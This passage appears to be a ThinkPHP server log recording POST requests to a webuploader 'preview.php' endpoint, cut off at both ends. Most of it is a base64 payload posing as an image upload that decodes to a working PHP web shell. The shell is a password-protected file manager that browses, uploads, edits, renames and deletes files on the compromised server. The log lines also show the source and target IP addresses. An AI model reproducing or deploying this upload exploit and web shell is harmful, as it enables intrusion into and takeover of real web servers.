jbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:17+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/Admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002970s] [吞吐率:336.70req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC